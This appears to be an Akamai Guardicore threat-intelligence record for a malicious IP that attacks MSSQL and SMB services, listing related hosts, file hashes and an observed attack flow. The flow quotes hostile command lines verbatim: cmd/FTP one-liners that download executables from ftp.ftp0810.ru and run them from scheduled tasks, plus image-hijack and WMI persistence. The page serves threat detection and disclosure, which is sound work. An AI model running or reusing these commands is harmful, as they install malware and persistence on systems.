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Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 85.194.102.234Malicious

IP Address: 85.194.102.234Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Configuration Download and Execute Persistency - Image Hijack Access Suspicious Domain Cookie Hijacking File Operation By CMD System File Modification Scheduled Task Creation Outgoing Connection HTTP Download File Service Start CMD Service Creation DNS Poisoning SMB Null Session Login SMB WMI Persistence

Associated Attack Servers

grantmindline.com hosteons.com neachers.com shell.loader0807.site

45.58.135.106 77.73.69.34 101.255.56.42 103.106.250.161 103.124.105.246 103.145.106.242 104.37.187.182 107.148.13.151 137.175.56.104 139.5.177.32 144.208.127.215 185.47.128.124 217.195.153.116 222.252.6.204

Basic Information

IP Address

85.194.102.234

Domain

-

ISP

GulfNet KSA

Country

Saudi Arabia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-01-12

Last seen in Akamai Guardicore Segmentation

2023-06-05

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named whvk under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

System file c:\windows\temp\conhoy.exe was modified 4 times

System File Modification

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Outgoing Connection Access Suspicious Domain

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

C:\WINDOWS\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

C:\WINDOWS\inf\aspnet\lsma12.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

The file c:\windows\temp\conhoy.exe was downloaded and executed 14 times

Download and Execute

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system32\wpcap.dll

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system32\packet.dll

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file C:\WINDOWS\Debug\item.dat was downloaded and loaded by c:\windows\system32\rundll32.exe

Download and Execute

WMI persistence was detected. Consumers used: CommandLineEventConsumer

WMI Persistence

Connection was closed due to user inactivity

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

c:\windows\temp\conhoy.exe

SHA256: 58064d9b9c44e6d6fe6f20abc74335859fb822f733d1b3e231a9d85aaef8e638

7680 bytes

c:\windows\debug\item.dat

SHA256: 1e8441f0d32d3854e0b3801063f6015a9f09637d77b714f8e58fb8c198693a51

4122624 bytes

C:\Windows\System\msinfo.exe

SHA256: 20c29760791e953c383bcc5a49ceb1c4b96f077c7ad8a6d7d14b030b5804acc5

7277056 bytes

C:\WINDOWS\system32\packet.dll

SHA256: cd9f4fb077c25013226e0883f9ae02e9ced9b71f07637081e55ae70fd0788f29

102136 bytes